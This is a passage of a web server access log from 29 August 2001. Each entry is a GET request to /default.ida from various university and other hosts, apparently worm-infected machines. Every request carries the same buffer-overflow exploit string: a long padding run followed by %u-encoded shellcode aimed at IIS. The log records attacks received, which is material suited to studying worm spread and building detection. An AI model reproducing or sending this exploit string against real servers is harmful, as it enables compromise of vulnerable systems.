  848. 20010829 13:27:32: syru229-205.syr.edu [128.230.229.205] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  849. 20010829 13:48:11: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  850. 20010829 13:55:59: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  851. 20010829 14:20:53: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  852. 20010829 14:26:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  853. 20010829 14:41:35: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  854. 20010829 14:41:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  855. 20010829 15:06:19: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  856. 20010829 15:29:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  857. 20010829 15:37:42: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  858. 20010829 15:51:23: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  859. 20010829 16:11:03: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  860. 20010829 16:11:12: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  861. 20010829 16:14:47: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  862. 20010829 16:17:23: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  863. 20010829 16:22:08: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  864. 20010829 16:43:54:  [128.134.248.36] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  865. 20010829 17:34:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  866. 20010829 17:36:22: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  867. 20010829 17:41:32: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  868. 20010829 18:18:34: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  869. 20010829 18:42:17: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  870. 20010829 18:46:41: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  871. 20010829 19:47:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  872. 20010829 19:57:32: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  873. 20010829 20:07:03:  [168.126.230.2] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  874. 20010829 20:17:35:  [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  875. 20010829 20:34:35: waltonbramp.resnet.tamu.edu [128.194.53.240] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  876. 20010829 21:00:36: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  877. 20010829 21:03:14: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  878. 20010829 21:15:12: dialup-cc4-92.cc.columbia.edu [128.59.3.101] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  879. 20010829 22:00:11:  [202.62.72.86] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  880. 20010829 22:04:05: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  881. 20010829 22:10:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  882. 20010829 22:36:55: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  883. 20010829 22:56:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  884. 20010829 23:02:11: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
  885. 20010829 23:11:32: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0"
